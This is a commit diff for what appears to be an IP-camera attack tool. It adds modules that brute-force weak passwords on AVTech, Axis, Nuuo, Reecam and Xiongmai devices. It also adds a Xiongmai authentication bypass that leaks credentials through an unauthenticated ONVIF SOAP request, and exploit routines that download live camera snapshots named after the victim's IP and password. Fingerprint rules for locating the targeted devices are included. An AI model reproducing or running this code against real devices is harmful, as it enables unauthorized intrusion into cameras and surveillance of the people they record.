Merge branch 'jorhelp:master' into master

This commit is contained in:
BlackHaoke
2026-05-13 12:16:47 +08:00
committed by GitHub
12 changed files with 306 additions and 12 deletions
+6 -1
View File
@@ -36,6 +36,8 @@ class Data:
def _load_state_from_disk(self):
"""加载上次运行状态"""
if self.config.no_resume:
return
# done & found & run time
state_file = os.path.join(self.config.out_dir, f".{self.taskid}")
if os.path.exists(state_file):
@@ -187,7 +189,10 @@ class SnapshotPipeline:
def process(self, core):
while not core.finish():
exploit_func, results = self.get()
try:
exploit_func, results = self.pipeline.get(timeout=5)
except Exception:
continue
self.workers.submit(self._snapshot, exploit_func, results)
with self.task_count_lock:
self.task_count += 1
+39
View File
@@ -0,0 +1,39 @@
import base64
import requests
from loguru import logger
from .base import POCTemplate
class AVTechWeakPassword(POCTemplate):
def __init__(self, config):
super().__init__(config)
self.name = self.get_file_name(__file__)
self.product = config.product['avtech']
self.product_version = ''
self.ref = ''
self.level = POCTemplate.level.low
self.desc = 'AVTech 弱口令'
def verify(self, ip, port=80):
headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}
for user in self.config.users:
for password in self.config.passwords:
account = base64.b64encode(f"{user}:{password}".encode('utf8')).decode()
url = f"http://{ip}:{port}/cgi-bin/nobody/VerifyCode.cgi?account={account}"
try:
r = requests.get(url, headers=headers, verify=False, timeout=self.config.timeout)
if r.status_code == 200:
if r.text.split('\n')[1] == 'OK':
return ip, str(port), self.product, user, password, self.name
except Exception as e:
logger.error(e)
return None
def exploit(self, results):
pass
POCTemplate.register_poc(AVTechWeakPassword)
+41
View File
@@ -0,0 +1,41 @@
import requests
from loguru import logger
from .base import POCTemplate
class AxisWeakPassword(POCTemplate):
def __init__(self, config):
super().__init__(config)
self.name = self.get_file_name(__file__)
self.product = config.product['axis']
self.product_version = ''
self.ref = ''
self.level = POCTemplate.level.low
self.desc = """"""
self.headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}
def verify(self, ip, port=80):
_users = ['root'] # default user
_passwords = ['pass'] + self.config.passwords
for user in _users:
for password in _passwords:
try:
r = requests.get(url=f"http://{ip}:{port}/jpg/image.jpg", auth=requests.auth.HTTPDigestAuth(user, password), timeout=self.config.timeout, headers=self.headers, verify=False)
if r.status_code == 200:
return ip, str(port), self.product, str(user), str(password), self.name
except Exception as e:
logger.error(e)
return None
def exploit(self, results):
ip, port, product, user, password, vul = results
url = f"http://{ip}:{port}/jpg/image.jpg"
img_file_name = f"{ip}-{port}-{user}-{password}.jpg"
if self._snapshot(url, img_file_name, auth=requests.auth.HTTPDigestAuth(user, password)):
return 1
return 0
POCTemplate.register_poc(AxisWeakPassword)
+1 -1
View File
@@ -55,7 +55,7 @@ class POCTemplate:
res = requests.get(url, auth=auth, timeout=self.config.timeout, verify=False, headers=headers, stream=True)
else:
res = requests.get(url, timeout=self.config.timeout, verify=False, headers=headers, stream=True)
if res.status_code == 200:
if res.status_code == 200 and 'head' not in res.text:
with open(img_path, 'wb') as f:
# 每次写入 10 KB
for content in res.iter_content(10240):
+40
View File
@@ -0,0 +1,40 @@
import requests
from loguru import logger
from .base import POCTemplate
class NuuoWeakPassword(POCTemplate):
def __init__(self, config):
super().__init__(config)
self.name = self.get_file_name(__file__)
self.product = config.product['nuuo']
self.product_version = ''
self.ref = ''
self.level = POCTemplate.level.low
self.desc = """"""
self.headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}
def verify(self, ip, port=80):
for user in self.config.users:
for password in self.config.passwords:
data = {
'language': 'en',
'user': user,
'pass': password,
'submit': 'Login'
}
try:
r = requests.post(f"http://{ip}:{port}/login.php", data=data, timeout=self.config.timeout, headers=self.headers, verify=False)
if r.status_code == 200 and 'loginfail' not in r.text:
return ip, str(port), self.product, str(user), str(password), self.name
except Exception as e:
logger.error(e)
return None
def exploit(self, results):
pass
POCTemplate.register_poc(NuuoWeakPassword)
+43
View File
@@ -0,0 +1,43 @@
import requests
from loguru import logger
from .base import POCTemplate
class ReecamWeakPassword(POCTemplate):
def __init__(self, config):
super().__init__(config)
self.name = self.get_file_name(__file__)
self.product = config.product['reecam']
self.product_version = ''
self.ref = ''
self.level = POCTemplate.level.low
self.desc = """"""
self.headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}
def verify(self, ip, port=80):
for user in self.config.users:
for password in self.config.passwords:
try:
r = requests.get(
url=f"http://{user}:{password}@{ip}:{port}/check_user.cgi",
timeout=self.config.timeout,
headers=self.headers,
verify=False,
stream=True
)
if r.status_code == 200:
return ip, str(port), self.product, str(user), str(password), self.name
except Exception as e:
logger.error(e)
return None
def exploit(self, results):
ip, port, product, user, password, vul = results
img_file_name = f"{ip}-{port}-{user}-{password}.jpg"
url = f"http://{user}:{password}@{ip}:{port}/snapshot.cgi"
return self._snapshot(url, img_file_name)
POCTemplate.register_poc(ReecamWeakPassword)
+66
View File
@@ -0,0 +1,66 @@
import re
import requests
from loguru import logger
from .base import POCTemplate
class XioingmaiBypass(POCTemplate):
def __init__(self, config):
super().__init__(config)
self.name = self.get_file_name(__file__)
self.product = config.product['xiongmai']
self.product_version = ''
self.ref = 'https://github.com/d3fudd/Xiongmai-Net-Surveillance-Authentication-Bypass'
self.level = POCTemplate.level.medium
self.desc = 'Xiongmai authentication bypass'
def verify(self, ip, port=80):
headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}
url = f"http://{ip}:8899/onvif/Media"
headers = {
"Content-Type": "application/soap+xml; charset=utf-8",
"Accept-Encoding": "gzip",
"User-Agent": "okhttp/3.12.5",
}
xml_payload = """
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://www.w3.org/2003/05/soap-envelope" >
<soap:Header>
<Security xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">
<UsernameToken>
<Username></Username>
<Password Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordDigest"></Password>
<Nonce EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary"></Nonce>
<Created xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"></Created>
</UsernameToken>
</Security>
</soap:Header>
<soap:Body>
<GetSnapshotUri xmlns="http://www.onvif.org/ver10/media/wsdl">
<ProfileToken>000</ProfileToken>
</GetSnapshotUri>
</soap:Body>
</soap:Envelope>
"""
try:
r = requests.post(url, headers=headers, data=xml_payload, verify=False, timeout=self.config.timeout)
if match := re.search(r'<tt:Uri>(.*?)</tt:Uri>', r.text):
link = match.group(1).replace("&amp;", "&")
user = re.findall('user=(.*)&', link)
password = re.findall('password=(.*)', link)
if user and password:
return ip, str(port), self.product, user[0], password[0], self.name
except Exception as e:
logger.error(e)
return None
def exploit(self, results):
ip, port, product, user, password, name = results
url = f"http://{ip}:{port}/webcapture.jpg?command=snap&channel=1&user={user}&password={password}"
name = f"{ip}-{port}-{user}-{password}-channel_1.jpg"
return self._snapshot(url, name)
POCTemplate.register_poc(XioingmaiBypass)
+50
View File
@@ -0,0 +1,50 @@
import re
import requests
from loguru import logger
from .base import POCTemplate
class XioingmaiWeakPassword(POCTemplate):
def __init__(self, config):
super().__init__(config)
self.name = self.get_file_name(__file__)
self.product = config.product['xiongmai']
self.product_version = ''
self.ref = ''
self.level = POCTemplate.level.low
self.desc = 'Xiongmai 弱口令'
def verify(self, ip, port=80):
headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}
for user in self.config.users:
for password in self.config.passwords:
url = f"http://{ip}:{port}/Login.htm"
data = {
'command': 'login',
'username': user,
'password': password
}
try:
r = requests.get(url, headers=headers, data=data, verify=False, timeout=self.config.timeout)
if r.status_code == 200 and 'failed' not in r.text:
ch_num = 0
if channel := re.findall(r'g_channelNumber=(.*);', r.text):
ch_num = int(channel[0])
return ip, str(port), self.product, user, password, self.name, ch_num
except Exception as e:
logger.error(e)
return None
def exploit(self, results):
ip, port, product, user, password, name, ch_num = results
res = []
for i in range(1, ch_num + 1):
url = f"http://{ip}:{port}/webcapture.jpg?command=snap&channel={i}&user={user}&password={password}"
name = f"{ip}-{port}-{user}-{password}-channel_{i}.jpg"
res.append(self._snapshot(url, name))
return sum(res)
POCTemplate.register_poc(XioingmaiWeakPassword)
+10 -1
View File
@@ -1,3 +1,7 @@
avtech,/,title=`::: Login :::`
avtech,/,title=`Remote Surveillance`&&title=`Any time & Any where`
avtech,/nobody/favicon.ico,md5=`6a7e13b3f9197a383c96618fe32e345a`
axis,/favicon.ico,md5=`a3fd8705f010b90e37d42128000f620b`
cctv,/,body=`IP Surveillance for Your Life`
cctv,/,body=`/nobody/loginDevice.js`
cctv,/,headers=`JAWS`
@@ -22,6 +26,8 @@ hikvision,/favicon.ico,md5=`89b932fcc47cf4ca3faadb0cfdef89cf`
instar,/,title=`INSTAR`&&title=`Camera`
ipcamera,/,headers=`IPCamera`&&status_code=`401`
netwave,/,headers=`Netwave IP Camera`
nuuo,/,title=`network video recorder login`
reecam,/,headers=`ReeCam IP Camera`
tenda,/,title=`Tenda | login`
tenda,/,title=`Tenda|login`
tenda,/,title=`Tenda | 登录`
@@ -29,4 +35,7 @@ tenda,/,title=`Tenda|登录`
tenda,/,title=`Tenda | Web Master`
tenda,/,title=`Tenda | Wireless Router`
tenda,/favicon.ico,md5=`fa31b29eab2da688b11d8fafc5fc6b27`
uniview,/favicon.ico,md5=`1536f25632f78fb03babedcb156d3f69`
uniview,/favicon.ico,md5=`1536f25632f78fb03babedcb156d3f69`
uniview,/skin/default_1/images/logo.png,md5=`c30a692ad0d1324389485de06c96d9b8`
xiongmai,/,title=`NETSurveillance WEB`
xiongmai,/,title=`NetSurveillance WEB`
Can't render this file because it contains an unexpected character in line 9 and column 28.
+1
View File
@@ -11,6 +11,7 @@ def get_parse():
parser.add_argument('-T', '--timeout', type=int, default=3, help='requests timeout')
parser.add_argument('-D', '--disable_snapshot', action='store_true', help='disable snapshot')
parser.add_argument('--debug', action='store_true', help='log all msg')
parser.add_argument('--no-resume', action='store_true', help='do not resume from previous scan, start fresh')
args = parser.parse_args()
return args
+7 -7
View File
@@ -3,10 +3,10 @@ gevent
IPy
loguru
lxml
ndjson>=0.3.1
pwn~=1.0
pwntools>=4.3.1
pycryptodome>=3.9.7
pyOpenSSL>=19.1.0
requests>=2.20.0
tzlocal>=2.1
ndjson
pwn
pwntools
pycryptodome
pyOpenSSL
requests
tzlocal
+2 -2
View File
@@ -6,7 +6,7 @@
#=================== 需放置于最开头 ====================
import warnings; warnings.filterwarnings("ignore")
from gevent import monkey; monkey.patch_all()
from gevent import monkey; monkey.patch_all(thread=False)
#======================================================
import os
@@ -63,4 +63,4 @@ def run():
if __name__ == '__main__':
run()
run()